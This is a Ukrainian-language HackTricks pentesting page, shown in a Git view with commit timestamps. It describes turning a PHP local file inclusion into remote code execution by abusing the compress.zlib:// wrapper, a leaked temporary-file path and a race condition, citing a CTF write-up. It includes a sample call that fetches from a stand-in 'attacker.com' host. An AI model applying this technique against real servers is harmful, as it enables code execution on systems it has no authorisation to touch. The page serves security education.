hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

49 lines
4.3 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
2022-04-28 16:01:33 +00:00
</details>
2024-03-29 18:49:46 +00:00
## `compress.zlib://` та `PHP_STREAM_PREFER_STDIO`
2022-04-21 00:07:27 +00:00
2024-03-29 18:49:46 +00:00
Файл, відкритий за допомогою протоколу `compress.zlib://` з прапорцем `PHP_STREAM_PREFER_STDIO`, може продовжувати записувати дані, які надходять до з'єднання, пізніше у той самий файл.
2022-04-21 00:07:27 +00:00
2024-03-29 18:49:46 +00:00
Це означає, що виклик, подібний до:
2022-04-21 00:07:27 +00:00
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
2024-03-29 18:49:46 +00:00
Буде відправлено запит на http://attacker.com/file, після чого сервер може відповісти на запит дійсною HTTP-відповіддю, утримувати відкрите з'єднання та відправляти додаткові дані через певний час, які також будуть записані у файл.
2022-04-21 00:07:27 +00:00
2024-03-29 18:49:46 +00:00
Ви можете побачити цю інформацію у цій частині коду php-src у main/streams/cast.c:
2022-04-21 00:07:27 +00:00
```c
/* Use a tmpfile and copy the old streams contents into it */
2024-03-29 18:49:46 +00:00
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
2022-04-21 00:07:27 +00:00
```
2024-03-29 18:49:46 +00:00
## Гонка умов до RCE
2022-04-21 00:07:27 +00:00
2024-03-29 18:49:46 +00:00
[**Цей CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) був вирішений за допомогою попереднього трюку.
2022-04-21 00:07:27 +00:00
2024-03-29 18:49:46 +00:00
Атакуючий змусить **сервер жертви відкрити з'єднання для читання файлу з сервера атакуючого** за допомогою протоколу **`compress.zlib`**.
2022-04-21 00:07:27 +00:00
2024-03-29 18:49:46 +00:00
**Поки** це **з'єднання** існує, атакуючий **ексфільтрує шлях** до створеного тимчасового файлу (він витікає з сервера).
2022-04-21 00:07:27 +00:00
2024-03-29 18:49:46 +00:00
**Поки** **з'єднання** є відкритим, атакуючий **експлуатує LFI, завантажуючи тимчасовий файл**, яким він керує.
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Однак у веб-сервері є перевірка, яка **запобігає завантаженню файлів, що містять `<?`**. Тому атакуючий використовуватиме **Гонку умов**. У з'єднанні, яке ще відкрите, **атакуючий** відправить **PHP навантаження ПІСЛЯ** того, як **веб-сервер** перевірив, чи файл містить заборонені символи, але **ДО того, як завантажить його вміст**.
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Для отримання додаткової інформації перегляньте опис Гонки умов та CTF за посиланням [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)